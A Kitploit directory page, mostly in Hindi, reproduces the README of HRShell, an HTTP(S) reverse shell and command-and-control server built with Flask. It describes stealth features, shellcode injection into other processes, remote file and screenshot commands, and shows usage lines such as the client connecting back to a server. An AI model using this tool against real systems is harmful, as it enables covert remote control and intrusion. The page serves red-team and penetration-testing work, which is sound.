Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
HRShell — HRShell is an HTTPS/HTTP reverse shell built with flask. It is an advanced C2 server with many features & capabilities. | Kitploit
उपकरण/GitHubGitHub/chrispetrou/hrshell
Encryption/Decryption ToolsExploitationReverse EngineeringShellcodePost-ExploitationWeb SecurityPenetration TestingCommand and ControlRed TeamingPayload DevelopmentArchived
GitHub
248694 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
chrispetrou/hrshell

HRShell

HRShell is an HTTPS/HTTP reverse shell built with flask. It is an advanced C2 server with many features & capabilities.

रिपॉजिटरी देखें
HRShell: Flask के साथ निर्मित एक उन्नत HTTP(S) रिवर्स शेल

GPLv3 license version Known Vulnerabilities



HRShell एक HTTPS/HTTP रिवर्स शेल है जो Flask के साथ बनाया गया है और python 3.x के साथ संगत है। client.py का सफलतापूर्वक परीक्षण निम्नलिखित पर किया गया है:

  • Linux ubuntu 18.04 LTS, Kali Linux 2019.3
  • macOS Mojave/Catalina
  • Windows 7/10

जबकि server.py Unix सिस्टम के साथ संगत है (Windows समर्थन जल्द ही आ रहा है...)

विशेषताएं

  • यह गुप्त (stealthy) है
  • TLS समर्थन 🔑
    • या तो ऑन-द-फ्लाई प्रमाणपत्रों का उपयोग करके या
    • एक cert/key जोड़ी निर्दिष्ट करके (अधिक विवरण नीचे...)
  • शेलकोड इंजेक्शन 💉 (अधिक विवरण नीचे...)
    • या तो वर्तमान चल रही प्रक्रिया के थ्रेड/स्पॉन किए गए प्रक्रिया में शेलकोड इंजेक्शन
      • अब तक समर्थित प्लेटफ़ॉर्म:
        • Windows x86
        • Unix x86
        • Unix x64
    • या किसी अन्य प्रक्रिया में शेलकोड इंजेक्शन (migrate <PID>) उसके PID निर्दिष्ट करके
      • अब तक समर्थित प्लेटफ़ॉर्म:
        • Windows x86
        • Windows x64
  • शेलकोड को सर्वर से चालू अवस्था में सेट/संशोधित किया जा सकता है (अधिक विवरण नीचे...)
  • क्लाइंट पर प्रॉक्सी समर्थन।
  • डायरेक्टरी नेविगेशन (cd कमांड और वेरिएंट)।
  • Unix सिस्टम पर इंटरैक्टिव history कमांड उपलब्ध।
  • download/upload/screenshot/hex कमांड उपलब्ध।
  • पाइपलाइनिंग (|) और श्रृंखलित कमांड (;) समर्थित हैं
  • सभी गैर-इंटरैक्टिव (जैसे gdb, top आदि) कमांड के लिए समर्थन
  • सर्वर HTTP और HTTPS दोनों में सक्षम है।
  • यह अब तक दो अंतर्निहित सर्वरों 🌐 के साथ आता है... flask built-in और tornado-WSGI जबकि यह अन्य प्रोडक्शन सर्वरों जैसे gunicorn और के साथ भी संगत है।

*संस्करण परिवर्तनों के लिए CHANGELOG देखें।

विवरण


गुप्त (Stealthy) :shipit:

HRShell गुप्त है क्योंकि यह क्लाइंट और सर्वर के बीच संचार की विधि के रूप में HTTP(S) प्रोटोकॉल का उपयोग करता है। इसके अतिरिक्त जब TLS उपयोग में होता है तो ट्रैफ़िक भी एन्क्रिप्टेड होता है। साथ ही यदि CERT क्लाइंट-साइड पर हार्ड-कोडेड नहीं है (जो एक संभव विकल्प है) और upload कमांड का उपयोग नहीं किया जाता है, तो client.py डिस्क को बिल्कुल स्पर्श नहीं करता है।

TLS 🔑

सर्वर-साइड: जब तक --http विकल्प निर्दिष्ट नहीं किया जाता है, डिफ़ॉल्ट रूप से server.py ऑन-द-फ्लाई प्रमाणपत्रों का उपयोग करके HTTPS है, क्योंकि ऑन-द-फ्लाई प्रमाणपत्र एक अंतर्निहित Flask-सुविधा हैं। लेकिन यदि सर्वर को TLS का उपयोग करने के लिए -s tornado विकल्प निर्दिष्ट किया गया है, तो --cert और --key विकल्पों को इस प्रकार निर्दिष्ट किया जाना चाहिए:

root@kitploit:~
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem

या तो "वास्तविक" प्रमाणपत्रों का उपयोग किया जा सकता है या cert/key जोड़ी उत्पन्न करने का दूसरा तरीका उदा. mkcert या openssl का सीधे उपयोग करना है जैसे:

root@kitploit:~
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

एक cert/key जोड़ी का उपयोग Flask-सर्वर के साथ भी किया जा सकता है:

root@kitploit:~
python server.py --cert /path/cert.pem --key /path/key.pem

⚠️ यदि सर्वर TLS का उपयोग कर रहा है, तो डिज़ाइन के अनुसार क्लाइंट सर्वर से कनेक्ट करने के लिए http://... का उपयोग नहीं कर सकता है, बल्कि उसे स्पष्ट रूप से https का उपयोग करना होगा।

क्लाइंट-साइड: डिफ़ॉल्ट रूप से क्लाइंट का SSL सत्यापन अक्षम है, जब तक:

  • या तो --cert पैरामीटर निर्दिष्ट किया गया हो उदा.:
    root@kitploit:~
    python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
    
  • या CERT वेरिएबल, डिफ़ॉल्ट None मान के बजाय, पहले से एक मान्य प्रमाणपत्र के साथ सेट किया गया हो उदा.:
    root@kitploit:~
    CERT = """
    -----BEGIN CERTIFICATE-----
    MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
    BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
    VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
    ...
    -----END CERTIFICATE-----
    """
    
    इस स्थिति में client.py चालू अवस्था में एक छिपी हुई .cert.pem फ़ाइल बनाने का प्रयास करेगा और उसका उपयोग करेगा।

⚠️ कि क्लाइंट पर SSL सत्यापन डिफ़ॉल्ट रूप से अक्षम है, इसका किसी भी स्थिति में यह मतलब नहीं है कि TLS भी अक्षम है, TLS सक्षम होगा यदि सर्वर इसका उपयोग करता है - इसलिए TLS पूरी तरह से सर्वर पर निर्भर करता है। --cert विकल्प क्लाइंट पर सर्वर-क्लाइंट के लिए एक एन्क्रिप्टेड सत्र होने के वैकल्पिक तरीके के रूप में है और बस इतना ही।

शेलकोड इंजेक्शन 💉

शेलकोड इंजेक्शन के दो "मोड" हैं जो क्रमशः निम्नलिखित दो कमांड का उपयोग करते हैं:

  1. migrate <PID>: इस कमांड का उपयोग करके हम किसी अन्य प्रक्रिया के मेमोरी स्पेस में उसका PID निर्दिष्ट करके शेलकोड इंजेक्ट कर सकते हैं। अभी के लिए यह कमांड केवल Windows x86/x64 प्लेटफ़ॉर्म पर लागू किया जा सकता है!
  1. inject shellcode: इस कमांड का उपयोग करके हमारी वर्तमान प्रक्रिया का एक नया थ्रेड (या Unix सिस्टम पर स्पॉन की गई प्रक्रिया) बनाया जाता है और शेलकोड इंजेक्शन उसके मेमोरी स्पेस में होता है। परिणामस्वरूप, हमारा HTTP(S) शेल इंजेक्शन से प्रभावित नहीं होता है। जिन प्लेटफ़ॉर्मों पर यह कमांड लागू किया जा सकता है वे हैं: Unix x86/x64, Windows x86 प्लेटफ़ॉर्म!
नोट्स
  • यदि इंजेक्शन किसी प्रक्रिया पर होता है, तो प्रक्रिया-अनुमतियाँ एक बहुत महत्वपूर्ण भूमिका निभाती हैं। उपयुक्त विशेषाधिकारों की कमी के कारण किसी भी प्रक्रिया पर इंजेक्ट करना हमेशा संभव नहीं होता है।

शेलकोड सेट/संशोधित करें

दो तरीके हैं जिनसे आप निर्दिष्ट/सेट कर सकते हैं कि आप क्लाइंट को किस प्रकार का शेलकोड निष्पादित करना चाहते हैं:

  • या तो client.py स्क्रिप्ट पर shellcode वेरिएबल को एक मान्य शेलकोड के रूप में प्री-सेट करें या
  • चालू अवस्था में ऐसा करने के लिए set shellcode <shellcode-id> कमांड का उपयोग करें। इस कमांड से आप सर्वर-साइड से क्लाइंट-साइड पर अपने शेलकोड को जितनी बार चाहें अपडेट कर सकते हैं!

पहला तरीका काफी सीधा है। हालांकि दूसरे और अधिक सुविधाजनक तरीके का उपयोग करने के लिए (क्योंकि आप पहले से निर्दिष्ट शेलकोड को भी संशोधित कर सकते हैं) आपको shellcodes/utils.py स्क्रिप्ट को इस प्रकार सेट करना होगा कि इसमें आपकी पसंद का शेलकोड(कोड) हो। स्क्रिप्ट में एक उदाहरण है कि आप ऐसा कैसे कर सकते हैं।

💡 आप shellcodes/utils.py स्क्रिप्ट को server.py लॉन्च करने के बाद भी जितनी बार चाहें संशोधित/अपडेट कर सकते हैं, क्योंकि server.py गतिशील रूप से सबसे नवीनतम/हालिया संस्करण का उपयोग करेगा। इस तरह आप चलते-फिरते शेलकोड सेट और संशोधित कर सकते हैं...

उपलब्ध कमांड:

विशेष कमांड:

कोई भी अन्य कमांड समर्थित है यदि वह इंटरैक्टिव नहीं है जैसे जैसे gdb, top आदि। साथ ही python server.py -h या python client.py -h टाइप करके आप सर्वर और क्लाइंट के उपलब्ध तर्कों के बारे में जानकारी प्राप्त कर सकते हैं।

नोट: यदि कोई क्लाइंट सर्वर से जुड़ा है और हम सर्वर को समाप्त करना चाहते हैं, तो CTRL+C दबाने से पहले, हमें exit कमांड का उपयोग करके कनेक्शन को बंद करना होगा।

कस्टम कमांड बनाना

क्लाइंट-साइड:

एक कस्टम कमांड बनाने के लिए, सामान्यतः:

  • एक रीजेक्स नियम जो कमांड का वर्णन करता है, क्लाइंट-साइड पर परिभाषित किया जाना चाहिए
  • उस कमांड को संभालने के लिए कोड को क्लाइंट-साइड पर एक elif स्टेटमेंट के रूप में जोड़ा जाना चाहिए।

सर्वर-साइड:

यदि कमांड सर्वर-साइड पर एक नए-एंडपॉइंट के अस्तित्व की मांग करता है, तो:

  • एंडपॉइंट को परिभाषित करने के लिए:
    root@kitploit:~
    @app.route('/custom_endpoint/<arg>')
    def custom_endpoint(arg):
        """
        यदि आवश्यक हो तो दस्तावेज़ीकरण
        """
        ...
        return ...
    
  • फिर क्लाइंट को उस एंडपॉइंट पर रीडायरेक्ट करने के लिए handleGET() संपादित करें:
    root@kitploit:~
    @app.route('/')
    def handleGET():
        ...
        return redirect(url_for('custom_endpoint',
            arg=...)
            )
    
  • परिणामों की प्रस्तुति को संभालने के लिए handlePOST() में उपयुक्त संपादन करें।

स्क्रिप्ट-तर्क

दोनों स्क्रिप्ट (server.py और client.py) को तर्कों के माध्यम से अनुकूलित किया जा सकता है:

server.py

root@kitploit:~
$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]

server.py: एक HTTP(S) रिवर्स-शेल सर्वर उन्नत सुविधाओं के साथ।

तर्क:
  -h, --help      यह सहायता संदेश दिखाएं और बाहर निकलें
  -s , --server   उपयोग करने के लिए HTTP(S) सर्वर निर्दिष्ट करें (डिफ़ॉल्ट: flask)।
  -c , --client   केवल निर्दिष्ट क्लाइंट/IP से कनेक्शन स्वीकार करें।
  --host          उपयोग करने के लिए IP निर्दिष्ट करें (डिफ़ॉल्ट: 0.0.0.0)।
  -p , --port     उपयोग करने के लिए पोर्ट निर्दिष्ट करें (डिफ़ॉल्ट: 5000)।
  --http          TLS अक्षम करें और HTTP का उपयोग करें।
  --cert          उपयोग करने के लिए प्रमाणपत्र निर्दिष्ट करें (डिफ़ॉल्ट: None)।
  --key           उपयोग करने के लिए संबंधित निजी कुंजी निर्दिष्ट करें (डिफ़ॉल्ट: None)।

client.py

root@kitploit:~
$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]

client.py: एक HTTP(S) क्लाइंट उन्नत सुविधाओं के साथ।

तर्क:
  -h, --help      यह सहायता संदेश दिखाएं और बाहर निकलें
  -s , --server   कनेक्ट करने के लिए एक HTTP(S) सर्वर निर्दिष्ट करें।
  -c , --cert     उपयोग करने के लिए एक प्रमाणपत्र निर्दिष्ट करें।
  -p , --proxy    उपयोग करने के लिए एक प्रॉक्सी निर्दिष्ट करें [प्रारूप: host:port]

📦 आवश्यकताएँ:

सर्वर-आवश्यकताओं को स्थापित करने के लिए:

root@kitploit:~
pip install -r requirements.txt --upgrade --user

📌 करने के लिए कार्य

  • और कमांड और सुविधाएँ जोड़ें।
  • संभावित बग्स को ठीक करें।

💭 योगदान और प्रतिक्रिया

प्रतिक्रिया और योगदान का स्वागत है। यदि आपको कोई बग मिलता है या कोई फीचर अनुरोध है तो बेझिझक एक मुद्दा खोलें, और जैसे ही मैं इसकी समीक्षा करूंगा, मैं इसे ठीक करने का प्रयास करूंगा।

अस्वीकरण

यह उपकरण केवल परीक्षण और शैक्षणिक उद्देश्यों के लिए है और इसका उपयोग केवल वहीं किया जा सकता है जहां सख्त सहमति दी गई हो। इसे अवैध उद्देश्यों के लिए उपयोग न करें! अंतिम उपयोगकर्ता की जिम्मेदारी है कि वह सभी लागू स्थानीय, राज्य और संघीय कानूनों का पालन करे। डेवलपर्स कोई दायित्व नहीं मानते हैं और इस उपकरण और सॉफ्टवेयर के सामान्य रूप से दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।

क्रेडिट और संदर्भ

  • Seitz J. Gray Hat Python: Python programming for hackers and reverse engineers. no starch press; 2009 Apr 15.
  • PyShellCode
  • यहाँ पाया गया एक शानदार लेख।
  • क्लाइंट का hexdump फ़ंक्शन इस शानदार gist से लिया गया है।
  • HRShell लोगो fontmeme.com के साथ बनाया गया है!

लाइसेंस

यह प्रोजेक्ट GPLv3 लाइसेंस के तहत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।

टूल डाउनलोड करें
Nginx
  • server.py और client.py दोनों आसानी से विस्तार योग्य हैं।
  • चूंकि अधिकांश कार्यक्षमता सर्वर के एंडपॉइंट-डिज़ाइन से आती है, इसलिए किसी भी अन्य भाषा जैसे java, GO आदि में क्लाइंट लिखना बहुत आसान है।